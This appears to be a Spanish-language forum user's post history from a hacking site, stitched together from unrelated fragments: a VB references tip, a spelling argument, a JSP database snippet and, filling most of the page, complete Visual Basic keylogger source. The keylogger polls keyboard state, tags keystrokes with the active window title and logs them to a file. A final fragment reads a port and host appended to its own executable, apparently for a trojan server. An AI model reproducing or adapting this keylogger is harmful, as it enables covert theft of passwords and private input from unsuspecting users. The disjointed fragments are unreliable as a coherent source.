lo que te falta hacer es activar la referencia a Microsoft ActiveX Data Object 2.1 Library (aunque puedes usar las otras)
hazlo eligiendo la opcion referencias del menu Proyecto
hazlo eligiendo la opcion referencias del menu Proyecto
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: AlexGPL en 22 Diciembre 2007, 20:53 PMCita de: MANULOMM en 28 Noviembre 2007, 06:54 AM
hey por favor, aunque el tema esta resuelto... y talvez no este en su lugar pero que paso con la ortografía....
El Escribío --> Se Escribe
ice --> Hize
aber --> Haber
me e --> me he
PD: Esto deja mal la cara del foro, por favor por lo menos utiliza el word!!!!, ya hay muchos post asi de muchos usuarios (No es que yo sea perfecto en orotgrafía pero esto molesta un poco!!!)
Atentamente,
Juan Manuel Lombana
Medellín - Colombia
Perdona pero, ya que lo corriges, al menos hazlo bien.
ice --> HICE, no hiZe.
xD
<%@ page import="java.sql.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Date" %>
<%
Connection conn = null;
Statement stmt = null;
ResultSet rset = null;
String COMANDO = "";
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver").newInstance();
conn=DriverManager.getConnection("jdbc:odbc:mi_conexion","sa","");
stmt=conn.createStatement();
HttpSession miSession = request.getSession(true);
String sesion = (String) miSession.getValue("mi_sesion");
String login = (String) miSession.getValue("mi_login");
%>
Cita de: Jareth en 9 Agosto 2007, 17:01 PMes un code que esta en internet publico para todos no se la fuente pero deberiamos siempre decir que no es nuestro code al menos no mio salvo que realmente lo consideres tuyo en fin... aqui esta:
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
Option Explicit
Private Sub Form_Load()
'activar el keylogger
SetTimer Me.hwnd, 0, 25, AddressOf TimerProc
End Sub
Option Explicit
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyboardState Lib "user32" (ByVal StateOfKey As Byte) As Long
Private Const VK_CAPITAL = &H14
Private Const VALPRESS = -32767
Private Const SHIFT As Integer = 16
Private Const ALT_GR As Integer = 165
Private Const SHIFTI As Integer = 160
Private Const ALTI As Integer = 164
Private Const CTRLI As Integer = 162
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private HISTORY As String
Private WinActive As String
Private File As String
Dim retorno As Long
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, ret As String
Function GetPressedKey() As String
On Error Resume Next
For Cnt = 65 To 90
If GetAsyncKeyState(ALT_GR) < 0 Then Exit For
retorno = GetAsyncKeyState(Cnt)
If retorno = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
GetPressedKey = UCase$(Chr$(Cnt))
If BShift Then GetPressedKey = LCase$(Chr$(Cnt))
Else
GetPressedKey = LCase$(Chr$(Cnt))
If BShift Then GetPressedKey = UCase$(Chr$(Cnt))
End If
GoTo Found
End If
Next Cnt
For Cnt = 48 To 57
retorno = GetAsyncKeyState(Cnt)
If retorno = VALPRESS Then
If GetAsyncKeyState(SHIFT) Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = Mid$("=!""·$%&/()", Cnt - 47, 1)
GoTo Found
End If
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
Select Case Cnt
Case 49: GetPressedKey = "|"
Case 50: GetPressedKey = "@"
Case 51: GetPressedKey = "#"
Case 52: GetPressedKey = "~"
Case 53: GetPressedKey = "€"
Case 54: GetPressedKey = "¬"
Case Else: GetPressedKey = ""
End Select
Else
GetPressedKey = Chr$(Cnt)
End If
GoTo Found
End If
End If
Next Cnt
For Cnt = 96 To 105
retorno = GetAsyncKeyState(Cnt)
If (retorno = VALPRESS) And (Not GetAsyncKeyState(ALT_GR) < 0) Then
GetPressedKey = Cnt - 96
GoTo Found
End If
Next Cnt
If GetAsyncKeyState(111) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "/"
GoTo Found
End If
'
If GetAsyncKeyState(106) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
GoTo Found
End If
'
If GetAsyncKeyState(109) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "-"
GoTo Found
End If
If GetAsyncKeyState(107) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "+"
GoTo Found
End If
If GetAsyncKeyState(8) = VALPRESS Then 'tecla retroceso
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
GoTo Found
End If
If GetAsyncKeyState(8) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "{Del}"
GoTo Found
End If
If GetAsyncKeyState(13) = VALPRESS Then
GetPressedKey = vbCrLf
SaveFile HISTORY
HISTORY = ""
GoTo Found
End If
If GetAsyncKeyState(32) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = " "
GoTo Found
End If
If GetAsyncKeyState(46) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
GoTo Found
End If
If GetAsyncKeyState(186) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "^"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "["
Else
GetPressedKey = "`"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(187) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "]"
Else
GetPressedKey = "+"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(188) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ";"
Else
GetPressedKey = ","
End If
GoTo Found
End If
If GetAsyncKeyState(189) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "_"
Else
GetPressedKey = "-"
End If
GoTo Found
End If
If GetAsyncKeyState(190) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ":"
Else
GetPressedKey = "."
End If
GoTo Found
End If
If GetAsyncKeyState(191) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "Ç"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "}"
Else
GetPressedKey = "ç"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(192) = VALPRESS Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then
If GetAsyncKeyState(SHIFT) < 0 Then
GetPressedKey = "Ñ"
If BShift Then GetPressedKey = "ñ"
Else
GetPressedKey = "ñ"
If BShift Then GetPressedKey = "Ñ"
End If
GoTo Found
End If
End If
If GetAsyncKeyState(219) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "?"
Else
GetPressedKey = "'"
End If
GoTo Found
End If
If GetAsyncKeyState(220) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "ª"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "\"
Else
GetPressedKey = "º"
End If
End If
GoTo Found
End If
If GetAsyncKeyState(221) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¿"
Else
GetPressedKey = "¡"
End If
GoTo Found
End If
If GetAsyncKeyState(222) = VALPRESS Then
If GetAsyncKeyState(SHIFT) < 0 Then
If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¨"
Else
If GetAsyncKeyState(ALT_GR) < 0 Then
GetPressedKey = "{"
Else
GetPressedKey = "´"
End If
End If
GoTo Found
End If
Found:
If GetWinActive = WinActive Then
HISTORY = HISTORY & GetPressedKey
Else
WinActive = GetWinActive
HISTORY = HISTORY & "[" & WinActive & "]" & vbCrLf & GetPressedKey & vbCrLf
End If
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
ret = GetPressedKey
If ret <> sOld Then
sOld = ret
sSave = sSave + sOld
End If
End Sub
Function BShift() As Boolean
Dim Teclas(0 To 255) As Byte
GetKeyboardState Teclas(0)
BShift = Teclas(VK_CAPITAL)
End Function
Private Function GetWinActive() As String
Dim Handle As Long
Dim Lon As Long
Dim Txt As String
Dim ret As Long
Handle = GetForegroundWindow()
Lon = GetWindowTextLength(Handle) + 1
Txt = Space(Lon)
ret = GetWindowText(Handle, Txt, Lon)
GetWinActive = Left(Txt, Lon - 1)
End Function
Private Function SaveFile(Cont As String)
On Error Resume Next
Dim FF As Long
FF = FreeFile
Open "d:\logger.txt" For Binary As FF
Put #FF, LOF(FF) + 1, Cont
Close FF
End Function
Cita de: nhaalclkiemr en 7 Agosto 2007, 05:45 AMhttp://foro.elhacker.net/index.php/topic,173053.0.html
-Velocidad procesador: No se...
-Uso de CPU: No se...
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
filedata = Input(LOF(2), #2)
Close #2
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
filedata = Input(LOF(2), #2)
Close #2
Dim DataRealD As String
Dim nd, nd1 As String
nd = Right(filedata, 2)
nd1 = Right(filedata, Val(nd) + 5)
DataRealD = DecodeW(nd1)
ArrayCritico = Split(DataRealD, "/")
'esto es sólo para verlo
MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)